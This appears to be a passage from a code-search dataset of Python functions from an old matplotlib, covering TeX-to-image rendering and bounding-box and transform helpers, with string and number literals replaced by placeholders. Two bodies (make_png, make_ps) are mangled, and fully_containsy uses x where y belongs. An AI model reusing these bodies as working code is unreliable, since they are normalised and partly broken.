text[start:pos])<EOL><DEDENT>else:<EOL><INDENT>match = self._token.match(text[pos:])<EOL>if match:<EOL><INDENT>yield (pos, match.group())<EOL>pos += match.end()<EOL><DEDENT>else:<EOL><INDENT>yield (pos, text[pos])<EOL>pos += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT><DEDENT>enc_starts, enc_ends = None, None<EOL>state = <NUM_LIT:0><EOL>for pos,token in tokens(self.parts[<NUM_LIT:0>]):<EOL><INDENT>if state == <NUM_LIT:0> and token == '<STR_LIT>':<EOL><INDENT>enc_starts = pos<EOL>state = <NUM_LIT:1><EOL><DEDENT>elif state == <NUM_LIT:1> and token == '<STR_LIT>':<EOL><INDENT>state = <NUM_LIT:2><EOL><DEDENT>elif state in (<NUM_LIT:2>,<NUM_LIT:5>) and token == '<STR_LIT>':<EOL><INDENT>enc_ends = pos+<NUM_LIT:3><EOL>break<EOL><DEDENT>elif state in (<NUM_LIT:1>,<NUM_LIT:5>) and token == '<STR_LIT>':<EOL><INDENT>state = <NUM_LIT:4><EOL><DEDENT>elif state == <NUM_LIT:4> and token == '<STR_LIT>':<EOL><INDENT>state = <NUM_LIT:5><EOL><DEDENT><DEDENT>self.enc_starts, self.enc_ends = enc_starts, enc_ends<EOL>", "docstring": "A very limited kind of parsing to find the Encoding of the\nfont.", "id": "f17184:c0:m3"}
{"signature": "def get_basefile(self, tex, fontsize, dpi=None):", "body": "s = '<STR_LIT>'.join([tex, self.get_font_config(), '<STR_LIT>'%fontsize,<EOL>self.get_custom_preamble(), str(dpi or '<STR_LIT>')])<EOL>bytes = str(s).encode('<STR_LIT:utf-8>')<EOL>return os.path.join(self.texcache, md5(bytes).hexdigest())<EOL>", "docstring": "returns a filename based on a hash of the string, fontsize, and dpi", "id": "f17185:c0:m1"}
{"signature": "def get_font_config(self):", "body": "if self._rc_cache is None:<EOL><INDENT>self._rc_cache = dict([(k,None) for k in self._rc_cache_keys])<EOL><DEDENT>changed = [par for par in self._rc_cache_keys if rcParams[par] !=self._rc_cache[par]]<EOL>if changed:<EOL><INDENT>if DEBUG: print('<STR_LIT>', changed)<EOL>for k in changed:<EOL><INDENT>if DEBUG:<EOL><INDENT>print('<STR_LIT>' %(k, self._rc_cache[k], rcParams[k]))<EOL><DEDENT>self._rc_cache[k] = copy.deepcopy(rcParams[k])<EOL><DEDENT>if DEBUG: print('<STR_LIT>', self._fontconfig)<EOL>self.__init__()<EOL><DEDENT>if DEBUG: print('<STR_LIT>', self._fontconfig)<EOL>return self._fontconfig<EOL>", "docstring": "Reinitializes self if relevant rcParams on have changed.", "id": "f17185:c0:m2"}
{"signature": "def get_font_preamble(self):", "body": "return self._font_preamble<EOL>", "docstring": "returns a string containing font configuration for the tex preamble", "id": "f17185:c0:m3"}
{"signature": "def get_custom_preamble(self):", "body": "return '<STR_LIT:\\n>'.join(rcParams['<STR_LIT>'])<EOL>", "docstring": "returns a string containing user additions to the tex preamble", "id": "f17185:c0:m4"}
{"signature": "def _get_shell_cmd(self, *args):", "body": "if sys.platform == '<STR_LIT:win32>':<EOL><INDENT>command = ['<STR_LIT:%s>'% os.path.splitdrive(self.texcache)[<NUM_LIT:0>]]<EOL><DEDENT>else:<EOL><INDENT>command = []<EOL><DEDENT>command.extend(args)<EOL>return '<STR_LIT>'.join(command)<EOL>", "docstring": "On windows, changing directories can be complicated by the presence of\nmultiple drives. get_shell_cmd deals with this issue.", "id": "f17185:c0:m5"}
{"signature": "def make_tex(self, tex, fontsize):", "body": "basefile = self.get_basefile(tex, fontsize)<EOL>texfile = '<STR_LIT>'%basefile<EOL>fh = file(texfile, '<STR_LIT:w>')<EOL>custom_preamble = self.get_custom_preamble()<EOL>fontcmd = {'<STR_LIT>' : r'<STR_LIT>',<EOL>'<STR_LIT>'  : r'<STR_LIT>'}.get(self.font_family,<EOL>r'<STR_LIT>')<EOL>tex = fontcmd % tex<EOL>if rcParams['<STR_LIT>']:<EOL><INDENT>unicode_preamble = \"\"\"<STR_LIT>\"\"\"<EOL><DEDENT>else:<EOL><INDENT>unicode_preamble = '<STR_LIT>'<EOL><DEDENT>s =", "docstring": "Generate a tex file to render the tex string at a specific font size\n\nreturns the file name", "id": "f17185:c0:m6"}
{"signature": "def make_dvi(self, tex, fontsize):", "body": "basefile = self.get_basefile(tex, fontsize)<EOL>dvifile = '<STR_LIT>'% basefile<EOL>if DEBUG or not os.path.exists(dvifile):<EOL><INDENT>texfile = self.make_tex(tex, fontsize)<EOL>outfile = basefile+'<STR_LIT>'<EOL>command = self._get_shell_cmd('<STR_LIT>'% self.texcache,<EOL>'<STR_LIT>'%(os.path.split(texfile)[-<NUM_LIT:1>], outfile))<EOL>mpl.verbose.report(command, '<STR_LIT>')<EOL>exit_status = os.system(command)<EOL>try:<EOL><INDENT>fh = file(outfile)<EOL>report = fh.read()<EOL>fh.close()<EOL><DEDENT>except IOError:<EOL><INDENT>report = '<STR_LIT>'<EOL><DEDENT>if exit_status:<EOL><INDENT>raise RuntimeError(('<STR_LIT>'% repr(tex)) + report)<EOL><DEDENT>else: mpl.verbose.report(report, '<STR_LIT>')<EOL>for fname in glob.glob(basefile+'<STR_LIT:*>'):<EOL><INDENT>if fname.endswith('<STR_LIT>'): pass<EOL>elif fname.endswith('<STR_LIT>'): pass<EOL>else:<EOL><INDENT>try: os.remove(fname)<EOL>except OSError: pass<EOL><DEDENT><DEDENT><DEDENT>return dvifile<EOL>", "docstring": "generates a dvi file containing latex's layout of tex string\n\nreturns the file name", "id": "f17185:c0:m7"}
{"signature": "def make_png(self, tex, fontsize, dpi):", "body": "basefile = self.get_basefile(tex, fontsize, dpi)<EOL>pngfile = '<STR_LIT>'% basefile<EOL>if DEBUG or not os.path.exists(pngfile):<EOL><INDENT>dvifile = self.make_dvi(tex, fontsize)<EOL>outfile = basefile+'<STR_LIT>'<EOL>command = self._get_shell_cmd('<STR_LIT>' % self.texcache,<EOL>'<STR_LIT>'%(dpi, os.path.split(pngfile)[-<NUM_LIT:1>],<EOL>os.path.split(dvifile)[-<NUM_LIT:1>], outfile))<EOL>mpl.verbose.report(command, '<STR_LIT>')<EOL>exit_status = os.system(command)<EOL>try:<EOL><INDENT>fh = file(outfile)<EOL>report = fh.read()<EOL>fh.close()<EOL><DEDENT>except IOError:<EOL><INDENT>report = '<STR_LIT>'<EOL><DEDENT>if exit_status:<EOL><INDENT>raise RuntimeError('dvipng was not able to \\ the flowing file:\\n%s\\nHere is the full report generated by dvipng: \\ vifile + report)else: mpl.verbose.report(report, '<STR_LIT>')<EOL>try: os.remove(outfile)<EOL>except OSError: pass<EOL>return pngfile<EOL>", "docstring": "generates a png file containing latex's rendering of tex string\n\nreturns the filename", "id": "f17185:c0:m8"}
{"signature": "def make_ps(self, tex, fontsize):", "body": "basefile = self.get_basefile(tex, fontsize)<EOL>psfile = '<STR_LIT>'% basefile<EOL>if DEBUG or not os.path.exists(psfile):<EOL><INDENT>dvifile = self.make_dvi(tex, fontsize)<EOL>outfile = basefile+'<STR_LIT>'<EOL>command = self._get_shell_cmd('<STR_LIT>'% self.texcache,<EOL>'<STR_LIT>'%(os.path.split(psfile)[-<NUM_LIT:1>],<EOL>os.path.split(dvifile)[-<NUM_LIT:1>], outfile))<EOL>mpl.verbose.report(command, '<STR_LIT>')<EOL>exit_status = os.system(command)<EOL>fh = file(outfile)<EOL>if exit_status:<EOL><INDENT>raise RuntimeError('dvipng was not able to \\ the flowing file:\\n%s\\nHere is the full report generated by dvipng: \\ vifile + fh.read())else: mpl.verbose.report(fh.read(), '<STR_LIT>')<EOL>fh.close()<EOL>os.remove(outfile)<EOL>return psfile<EOL>", "docstring": "generates a postscript file containing latex's rendering of tex string\n\nreturns the file name", "id": "f17185:c0:m9"}
{"signature": "def get_ps_bbox(self, tex, fontsize):", "body": "psfile = self.make_ps(tex, fontsize)<EOL>ps = file(psfile)<EOL>for line in ps:<EOL><INDENT>if line.startswith('<STR_LIT>'):<EOL><INDENT>return [int(val) for val in line.split()[<NUM_LIT:1>:]]<EOL><DEDENT><DEDENT>raise RuntimeError('<STR_LIT>'%psfile)<EOL>", "docstring": "returns a list containing the postscript bounding box for latex's\nrendering of the tex string", "id": "f17185:c0:m10"}
{"signature": "def get_grey(self, tex, fontsize=None, dpi=None):", "body": "key = tex, self.get_font_config(), fontsize, dpi<EOL>alpha = self.grey_arrayd.get(key)<EOL>if alpha is None:<EOL><INDENT>pngfile = self.make_png(tex, fontsize, dpi)<EOL>X = read_png(os.path.join(self.texcache, pngfile))<EOL>if rcParams['<STR_LIT>'] is not None:<EOL><INDENT>hack = rcParams['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>hack = self._dvipng_hack_alpha<EOL><DEDENT>if hack:<EOL><INDENT>alpha = <NUM_LIT:1>-X[:,:,<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>alpha = X[:,:,-<NUM_LIT:1>]<EOL><DEDENT>self.grey_arrayd[key] = alpha<EOL><DEDENT>return alpha<EOL>", "docstring": "returns the alpha channel", "id": "f17185:c0:m11"}
{"signature": "def get_rgba(self, tex, fontsize=None, dpi=None, rgb=(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>)):", "body": "if not fontsize: fontsize = rcParams['<STR_LIT>']<EOL>if not dpi: dpi = rcParams['<STR_LIT>']<EOL>r,g,b = rgb<EOL>key = tex, self.get_font_config(), fontsize, dpi, tuple(rgb)<EOL>Z = self.rgba_arrayd.get(key)<EOL>if Z is None:<EOL><INDENT>alpha = self.get_grey(tex, fontsize, dpi)<EOL>Z = np.zeros((alpha.shape[<NUM_LIT:0>], alpha.shape[<NUM_LIT:1>], <NUM_LIT:4>), np.float)<EOL>Z[:,:,<NUM_LIT:0>] = r<EOL>Z[:,:,<NUM_LIT:1>] = g<EOL>Z[:,:,<NUM_LIT:2>] = b<EOL>Z[:,:,<NUM_LIT:3>] = alpha<EOL>self.rgba_arrayd[key] = Z<EOL><DEDENT>return Z<EOL>", "docstring": "Returns latex's rendering of the tex string as an rgba array", "id": "f17185:c0:m12"}
{"signature": "def blended_transform_factory(x_transform, y_transform):", "body": "if (isinstance(x_transform, Affine2DBase)<EOL>and isinstance(y_transform, Affine2DBase)):<EOL><INDENT>return BlendedAffine2D(x_transform, y_transform)<EOL><DEDENT>return BlendedGenericTransform(x_transform, y_transform)<EOL>", "docstring": "Create a new \"blended\" transform using *x_transform* to transform\nthe *x*-axis and *y_transform* to transform the *y*-axis.\n\nA faster version of the blended transform is returned for the case\nwhere both child transforms are affine.", "id": "f17186:m0"}
{"signature": "def composite_transform_factory(a, b):", "body": "if isinstance(a, IdentityTransform):<EOL><INDENT>return b<EOL><DEDENT>elif isinstance(b, IdentityTransform):<EOL><INDENT>return a<EOL><DEDENT>elif isinstance(a, AffineBase) and isinstance(b, AffineBase):<EOL><INDENT>return CompositeAffine2D(a, b)<EOL><DEDENT>return CompositeGenericTransform(a, b)<EOL>", "docstring": "Create a new composite transform that is the result of applying\ntransform a then transform b.\n\nShortcut versions of the blended transform are provided for the\ncase where both child transforms are affine, or one or the other\nis the identity transform.\n\nComposite transforms may also be created using the '+' operator,\ne.g.::\n\n  c = a + b", "id": "f17186:m1"}
{"signature": "def nonsingular(vmin, vmax, expander=<NUM_LIT>, tiny=<NUM_LIT>, increasing=True):", "body": "if (not np.isfinite(vmin)) or (not np.isfinite(vmax)):<EOL><INDENT>return -expander, expander<EOL><DEDENT>swapped = False<EOL>if vmax < vmin:<EOL><INDENT>vmin, vmax = vmax, vmin<EOL>swapped = True<EOL><DEDENT>if vmax - vmin <= max(abs(vmin), abs(vmax)) * tiny:<EOL><INDENT>if vmin == <NUM_LIT:0.0>:<EOL><INDENT>vmin = -expander<EOL>vmax = expander<EOL><DEDENT>else:<EOL><INDENT>vmin -= expander*abs(vmin)<EOL>vmax += expander*abs(vmax)<EOL><DEDENT><DEDENT>if swapped and not increasing:<EOL><INDENT>vmin, vmax = vmax, vmin<EOL><DEDENT>return vmin, vmax<EOL>", "docstring": "Ensure the endpoints of a range are finite and not too close together.\n\n\"too close\" means the interval is smaller than 'tiny' times\nthe maximum absolute value.\n\nIf they are too close, each will be moved by the 'expander'.\nIf 'increasing' is True and vmin > vmax, they will be swapped,\nregardless of whether they are too close.\n\nIf either is inf or -inf or nan, return - expander, expander.", "id": "f17186:m2"}
{"signature": "def offset_copy(trans, fig, x=<NUM_LIT:0.0>, y=<NUM_LIT:0.0>, units='<STR_LIT>'):", "body": "if units == '<STR_LIT>':<EOL><INDENT>return trans + Affine2D().translate(x, y)<EOL><DEDENT>if fig is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if units == '<STR_LIT>':<EOL><INDENT>x /= <NUM_LIT><EOL>y /= <NUM_LIT><EOL><DEDENT>elif not units == '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return trans + ScaledTranslation(x, y, fig.dpi_scale_trans)<EOL>", "docstring": "Return a new transform with an added offset.\n  args:\n    trans is any transform\n  kwargs:\n    fig is the current figure; it can be None if units are 'dots'\n    x, y give the offset\n    units is 'inches', 'points' or 'dots'", "id": "f17186:m5"}
{"signature": "def __init__(self):", "body": "<EOL>self._parents = WeakKeyDictionary()<EOL>self._invalid = <NUM_LIT:1><EOL>", "docstring": "Creates a new :class:`TransformNode`.", "id": "f17186:c0:m0"}
{"signature": "def invalidate(self):", "body": "<EOL>value = (self.is_affine) and self.INVALID_AFFINE or self.INVALID<EOL>if self._invalid == value:<EOL><INDENT>return<EOL><DEDENT>if not len(self._parents):<EOL><INDENT>self._invalid = value<EOL>return<EOL><DEDENT>stack = [self]<EOL>while len(stack):<EOL><INDENT>root = stack.pop()<EOL>if root._invalid != value or root.pass_through:<EOL><INDENT>root._invalid = self.INVALID<EOL>stack.extend(list(root._parents.keys()))<EOL><DEDENT><DEDENT>", "docstring": "Invalidate this :class:`TransformNode` and all of its\nancestors.  Should be called any time the transform changes.", "id": "f17186:c0:m2"}
{"signature": "def set_children(self, *children):", "body": "for child in children:<EOL><INDENT>child._parents[self] = None<EOL><DEDENT>", "docstring": "Set the children of the transform, to let the invalidation\nsystem know which transforms can invalidate this transform.\nShould be called from the constructor of any transforms that\ndepend on other transforms.", "id": "f17186:c0:m3"}
{"signature": "def frozen(self):", "body": "return self<EOL>", "docstring": "Returns a frozen copy of this transform node.  The frozen copy\nwill not update when its children change.  Useful for storing\na previously known state of a transform where\n``copy.deepcopy()`` might normally be used.", "id": "f17186:c0:m4"}
{"signature": "def is_unit(self):", "body": "return list(self.get_points().flatten()) == [<NUM_LIT:0.>, <NUM_LIT:0.>, <NUM_LIT:1.>, <NUM_LIT:1.>]<EOL>", "docstring": "Returns True if the :class:`Bbox` is the unit bounding box\nfrom (0, 0) to (1, 1).", "id": "f17186:c1:m2"}
{"signature": "def containsx(self, x):", "body": "x0, x1 = self.intervalx<EOL>return ((x0 < x1<EOL>and (x >= x0 and x <= x1))<EOL>or (x >= x1 and x <= x0))<EOL>", "docstring": "Returns True if *x* is between or equal to :attr:`x0` and\n:attr:`x1`.", "id": "f17186:c1:m23"}
{"signature": "def containsy(self, y):", "body": "y0, y1 = self.intervaly<EOL>return ((y0 < y1<EOL>and (y >= y0 and y <= y1))<EOL>or (y >= y1 and y <= y0))<EOL>", "docstring": "Returns True if *y* is between or equal to :attr:`y0` and\n:attr:`y1`.", "id": "f17186:c1:m24"}
{"signature": "def contains(self, x, y):", "body": "return self.containsx(x) and self.containsy(y)<EOL>", "docstring": "Returns *True* if (*x*, *y*) is a coordinate inside the\nbounding box or on its edge.", "id": "f17186:c1:m25"}
{"signature": "def overlaps(self, other):", "body": "ax1, ay1, ax2, ay2 = self._get_extents()<EOL>bx1, by1, bx2, by2 = other._get_extents()<EOL>if ax2 < ax1:<EOL><INDENT>ax2, ax1 = ax1, ax2<EOL><DEDENT>if ay2 < ay1:<EOL><INDENT>ay2, ay1 = ay1, ay2<EOL><DEDENT>if bx2 < bx1:<EOL><INDENT>bx2, bx1 = bx1, bx2<EOL><DEDENT>if by2 < by1:<EOL><INDENT>by2, by1 = by1, by2<EOL><DEDENT>return not ((bx2 < ax1) or<EOL>(by2 < ay1) or<EOL>(bx1 > ax2) or<EOL>(by1 > ay2))<EOL>", "docstring": "Returns True if this bounding box overlaps with the given\nbounding box *other*.", "id": "f17186:c1:m26"}
{"signature": "def fully_containsx(self, x):", "body": "x0, x1 = self.intervalx<EOL>return ((x0 < x1<EOL>and (x > x0 and x < x1))<EOL>or (x > x1 and x < x0))<EOL>", "docstring": "Returns True if *x* is between but not equal to :attr:`x0` and\n:attr:`x1`.", "id": "f17186:c1:m27"}
{"signature": "def fully_containsy(self, y):", "body": "y0, y1 = self.intervaly<EOL>return ((y0 < y1<EOL>and (x > y0 and x < y1))<EOL>or (x > y1 and x < y0))<EOL>", "docstring": "Returns True if *y* is between but not equal to :attr:`y0` and\n:attr:`y1`.", "id": "f17186:c1:m28"}
{"signature": "def fully_contains(self, x, y):", "body": "return self.fully_containsx(x)and self.fully_containsy(y)<EOL>", "docstring": "Returns True if (*x*, *y*) is a coordinate inside the bounding\nbox, but not on its edge.", "id": "f17186:c1:m29"}
{"signature": "def fully_overlaps(self, other):", "body": "ax1, ay1, ax2, ay2 = self._get_extents()<EOL>bx1, by1, bx2, by2 = other._get_extents()<EOL>if ax2 < ax1:<EOL><INDENT>ax2, ax1 = ax1, ax2<EOL><DEDENT>if ay2 < ay1:<EOL><INDENT>ay2, ay1 = ay1, ay2<EOL><DEDENT>if bx2 < bx1:<EOL><INDENT>bx2, bx1 = bx1, bx2<EOL><DEDENT>if by2 < by1:<EOL><INDENT>by2, by1 = by1, by2<EOL><DEDENT>return not ((bx2 <= ax1) or<EOL>(by2 <= ay1) or<EOL>(bx1 >= ax2) or<EOL>(by1 >= ay2))<EOL>", "docstring": "Returns True if this bounding box overlaps with the given\nbounding box *other*, but not on its edge alone.", "id": "f17186:c1:m30"}
{"signature": "def transformed(self, transform):", "body": "return Bbox(transform.transform(self.get_points()))<EOL>", "docstring": "Return a new :class:`Bbox` object, statically transformed by\nthe given transform.", "id": "f17186:c1:m31"}
{"signature": "def inverse_transformed(self, transform):", "body": "return Bbox(transform.inverted().transform(self.get_points()))<EOL>", "docstring": "Return a new :class:`Bbox` object, statically transformed by\nthe inverse of the given transform.", "id": "f17186:c1:m32"}
{"signature": "def anchored(self, c, container = None):", "body": "if container is None:<EOL><INDENT>container = self<EOL><DEDENT>l, b, w, h = container.bounds<EOL>if isinstance(c, str):<EOL><INDENT>cx, cy = self.coefs[c]<EOL><DEDENT>else:<EOL><INDENT>cx, cy = c<EOL><DEDENT>L, B, W, H = self.bounds<EOL>return Bbox(self._points +<EOL>[(l + cx * (w-W)) - L,<EOL>(b + cy * (h-H)) - B])<EOL>", "docstring": "Return a copy of the :class:`Bbox`, shifted to position *c*\nwithin a container.\n\n*c*: may be either:\n\n  * a sequence (*cx*, *cy*) where *cx* and *cy* range from 0\n    to 1, where 0 is left or bottom and 1 is right or top\n\n  * a string:\n    - 'C' for centered\n    - 'S' for bottom-center\n    - 'SE' for bottom-left\n    - 'E' for left\n    - etc.\n\nOptional argument *container* is the box within which the\n:class:`Bbox` is positioned; it defaults to the initial\n:class:`Bbox`.", "id": "f17186:c1:m33"}
{"signature": "def shrunk(self, mx, my):", "body": "w, h = self.size<EOL>return Bbox([self._points[<NUM_LIT:0>],<EOL>self._points[<NUM_LIT:0>] + [mx * w, my * h]])<EOL>", "docstring": "Return a copy of the :class:`Bbox`, shrunk by the factor *mx*\nin the *x* direction and the factor *my* in the *y* direction.\nThe lower left corner of the box remains unchanged.  Normally\n*mx* and *my* will be less than 1, but this is not enforced.", "id": "f17186:c1:m34"}
{"signature": "def shrunk_to_aspect(self, box_aspect, container = None, fig_aspect = <NUM_LIT:1.0>):", "body": "assert box_aspect > <NUM_LIT:0> and fig_aspect > <NUM_LIT:0><EOL>if container is None:<EOL><INDENT>container = self<EOL><DEDENT>w, h = container.size<EOL>H = w * box_aspect/fig_aspect<EOL>if H <= h:<EOL><INDENT>W = w<EOL><DEDENT>else:<EOL><INDENT>W = h * fig_aspect/box_aspect<EOL>H = h<EOL><DEDENT>return Bbox([self._points[<NUM_LIT:0>],<EOL>self._points[<NUM_LIT:0>] + (W, H)])<EOL>", "docstring": "Return a copy of the :class:`Bbox`, shrunk so that it is as\nlarge as it can be while having the desired aspect ratio,\n*box_aspect*.  If the box coordinates are relative---that\nis, fractions of a larger box such as a figure---then the\nphysical aspect ratio of that figure is specified with\n*fig_aspect*, so that *box_aspect* can also be given as a\nratio of the absolute dimensions, not the relative dimensions.", "id": "f17186:c1:m35"}
{"signature": "def splitx(self, *args):", "body": "boxes = []<EOL>xf = [<NUM_LIT:0>] + list(args) + [<NUM_LIT:1>]<EOL>x0, y0, x1, y1 = self._get_extents()<EOL>w = x1 - x0<EOL>for xf0, xf1 in zip(xf[:-<NUM_LIT:1>], xf[<NUM_LIT:1>:]):<EOL><INDENT>boxes.append(Bbox([[x0 + xf0 * w, y0], [x0 + xf1 * w, y1]]))<EOL><DEDENT>return boxes<EOL>", "docstring": "e.g., ``bbox.splitx(f1, f2, ...)``\n\nReturns a list of new :class:`Bbox` objects formed by\nsplitting the original one with vertical lines at fractional\npositions *f1*, *f2*, ...", "id": "f17186:c1:m36"}
{"signature": "def splity(self, *args):", "body": "boxes = []<EOL>yf = [<NUM_LIT:0>] + list(args) + [<NUM_LIT:1>]<EOL>x0, y0, x1, y1 = self._get_extents()<EOL>h = y1 - y0<EOL>for yf0, yf1 in zip(yf[:-<NUM_LIT:1>], yf[<NUM_LIT:1>:]):<EOL><INDENT>boxes.append(Bbox([[x0, y0 + yf0 * h], [x1, y0 + yf1 * h]]))<EOL><DEDENT>return boxes<EOL>", "docstring": "e.g., ``bbox.splitx(f1, f2, ...)``\n\nReturns a list of new :class:`Bbox` objects formed by\nsplitting the original one with horizontal lines at fractional\npositions *f1*, *f2*, ...", "id": "f17186:c1:m37"}
{"signature": "def count_contains(self, vertices):", "body": "if len(vertices) == <NUM_LIT:0>:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>vertices = np.asarray(vertices)<EOL>x0, y0, x1, y1 = self._get_extents()<EOL>dx0 = np.sign(vertices[:, <NUM_LIT:0>] - x0)<EOL>dy0 = np.sign(vertices[:, <NUM_LIT:1>] - y0)<EOL>dx1 = np.sign(vertices[:, <NUM_LIT:0>] - x1)<EOL>dy1 = np.sign(vertices[:, <NUM_LIT:1>] - y1)<EOL>inside = (abs(dx0 + dx1) + abs(dy0 + dy1)) <= <NUM_LIT:2><EOL>return np.sum(inside)<EOL>", "docstring": "Count the number of vertices contained in the :class:`Bbox`.\n\n*vertices* is a Nx2 Numpy array.", "id": "f17186:c1:m38"}
{"signature": "def count_overlaps(self, bboxes):", "body": "return count_bboxes_overlapping_bbox(self, bboxes)<EOL>", "docstring": "Count the number of bounding boxes that overlap this one.\n\nbboxes is a sequence of :class:`BboxBase` objects", "id": "f17186:c1:m39"}
{"signature": "def expanded(self, sw, sh):", "body": "width = self.width<EOL>height = self.height<EOL>deltaw = (sw * width - width) / <NUM_LIT><EOL>deltah = (sh * height - height) / <NUM_LIT><EOL>a = np.array([[-deltaw, -deltah], [deltaw, deltah]])<EOL>return Bbox(self._points + a)<EOL>", "docstring": "Return a new :class:`Bbox` which is this :class:`Bbox`\nexpanded around its center by the given factors *sw* and\n*sh*.", "id": "f17186:c1:m40"}
{"signature": "def padded(self, p):", "body": "points = self._points<EOL>return Bbox(points + [[-p, -p], [p, p]])<EOL>", "docstring": "Return a new :class:`Bbox` that is padded on all four sides by\nthe given value.", "id": "f17186:c1:m41"}
{"signature": "def translated(self, tx, ty):", "body": "return Bbox(self._points + (tx, ty))<EOL>", "docstring": "Return a copy of the :class:`Bbox`, statically translated by\n*tx* and *ty*.", "id": "f17186:c1:m42"}
{"signature": "def corners(self):", "body": "l, b, r, t = self.get_points().flatten()<EOL>return np.array([[l, b], [l, t], [r, b], [r, t]])<EOL>", "docstring": "Return an array of points which are the four corners of this\nrectangle.  For example, if this :class:`Bbox` is defined by\nthe points (*a*, *b*) and (*c*, *d*), :meth:`corners` returns\n(*a*, *b*), (*a*, *d*), (*c*, *b*) and (*c*, *d*).", "id": "f17186:c1:m43"}
{"signature": "def rotated(self, radians):", "body": "corners = self.corners()<EOL>corners_rotated = Affine2D().rotate(radians).transform(corners)<EOL>bbox = Bbox.unit()<EOL>bbox.update_from_data_xy(corners_rotated, ignore=True)<EOL>return bbox<EOL>", "docstring": "Return a new bounding box that bounds a rotated version of\nthis bounding box by the given radians.  The new bounding box\nis still aligned with the axes, of course.", "id": "f17186:c1:m44"}
{"signature": "def union(bboxes):", "body": "assert(len(bboxes))<EOL>if len(bboxes) == <NUM_LIT:1>:<EOL><INDENT>return bboxes[<NUM_LIT:0>]<EOL><DEDENT>x0 = np.inf<EOL>y0 = np.inf<EOL>x1 = -np.inf<EOL>y1 = -np.inf<EOL>for bbox in bboxes:<EOL><INDENT>points = bbox.get_points()<EOL>xs = points[:, <NUM_LIT:0>]<EOL>ys = points[:, <NUM_LIT:1>]<EOL>x0 = min(x0, np.min(xs))<EOL>y0 = min(y0, np.min(ys))<EOL>x1 = max(x1, np.max(xs))<EOL>y1 = max(y1, np.max(ys))<EOL><DEDENT>return Bbox.from_extents(x0, y0, x1, y1)<EOL>", "docstring": "Return a :class:`Bbox` that contains all of the given bboxes.", "id": "f17186:c1:m45"}
{"signature": "def __init__(self, points):", "body": "BboxBase.__init__(self)<EOL>self._points = np.asarray(points, np.float_)<EOL>self._minpos = np.array([<NUM_LIT>, <NUM_LIT>])<EOL>self._ignore = True<EOL>", "docstring": "*points*: a 2x2 numpy array of the form [[x0, y0], [x1, y1]]\n\nIf you need to create a :class:`Bbox` object from another form\nof data, consider the static methods :meth:`unit`,\n:meth:`from_bounds` and :meth:`from_extents`.", "id": "f17186:c2:m0"}
{"signature": "def unit():", "body": "return Bbox(Bbox._unit_values.copy())<EOL>", "docstring": "(staticmethod) Create a new unit :class:`Bbox` from (0, 0) to\n(1, 1).", "id": "f17186:c2:m1"}
{"signature": "def from_bounds(x0, y0, width, height):", "body": "return Bbox.from_extents(x0, y0, x0 + width, y0 + height)<EOL>", "docstring": "(staticmethod) Create a new :class:`Bbox` from *x0*, *y0*,\n*width* and *height*.\n\n*width* and *height* may be negative.", "id": "f17186:c2:m2"}
{"signature": "def from_extents(*args):", "body": "points = np.array(args, dtype=np.float_).reshape(<NUM_LIT:2>, <NUM_LIT:2>)<EOL>return Bbox(points)<EOL>", "docstring": "(staticmethod) Create a new Bbox from *left*, *bottom*,\n*right* and *top*.\n\nThe *y*-axis increases upwards.", "id": "f17186:c2:m3"}
{"signature": "def ignore(self, value):", "body": "self._ignore = value<EOL>", "docstring": "Set whether the existing bounds of the box should be ignored\nby subsequent calls to :meth:`update_from_data` or\n:meth:`update_from_data_xy`.\n\n*value*:\n\n   - When True, subsequent calls to :meth:`update_from_data`\n     will ignore the existing bounds of the :class:`Bbox`.\n\n   - When False, subsequent calls to :meth:`update_from_data`\n     will include the existing bounds of the :class:`Bbox`.", "id": "f17186:c2:m5"}
{"signature": "def update_from_data(self, x, y, ignore=None):", "body": "warnings.warn(<EOL>\"<STR_LIT>\")<EOL>xy = np.hstack((x.reshape((len(x), <NUM_LIT:1>)), y.reshape((len(y), <NUM_LIT:1>))))<EOL>return self.update_from_data_xy(xy, ignore)<EOL>", "docstring": "Update the bounds of the :class:`Bbox` based on the passed in\ndata.  After updating, the bounds will have positive *width*\nand *height*; *x0* and *y0* will be the minimal values.\n\n*x*: a numpy array of *x*-values\n\n*y*: a numpy array of *y*-values\n\n*ignore*:\n   - when True, ignore the existing bounds of the :class:`Bbox`.\n   - when False, include the existing bounds of the :class:`Bbox`.\n   - when None, use the last value passed to :meth:`ignore`.", "id": "f17186:c2:m6"}
{"signature": "def update_from_path(self, path, ignore=None, updatex=True, updatey=True):", "body": "if ignore is None:<EOL><INDENT>ignore = self._ignore<EOL><DEDENT>if path.vertices.size == <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>points, minpos, changed = update_path_extents(<EOL>path, None, self._points, self._minpos, ignore)<EOL>if changed:<EOL><INDENT>self.invalidate()<EOL>if updatex:<EOL><INDENT>self._points[:,<NUM_LIT:0>] = points[:,<NUM_LIT:0>]<EOL>self._minpos[<NUM_LIT:0>] = minpos[<NUM_LIT:0>]<EOL><DEDENT>if updatey:<EOL><INDENT>self._points[:,<NUM_LIT:1>] = points[:,<NUM_LIT:1>]<EOL>self._minpos[<NUM_LIT:1>] = minpos[<NUM_LIT:1>]<EOL><DEDENT><DEDENT>", "docstring": "Update the bounds of the :class:`Bbox` based on the passed in\ndata.  After updating, the bounds will have positive *width*\nand *height*; *x0* and *y0* will be the minimal values.\n\n*path*: a :class:`~matplotlib.path.Path` instance\n\n*ignore*:\n   - when True, ignore the existing bounds of the :class:`Bbox`.\n   - when False, include the existing bounds of the :class:`Bbox`.\n   - when None, use the last value passed to :meth:`ignore`.\n\n*updatex*: when True, update the x values\n\n*updatey*: when True, update the y values", "id": "f17186:c2:m7"}
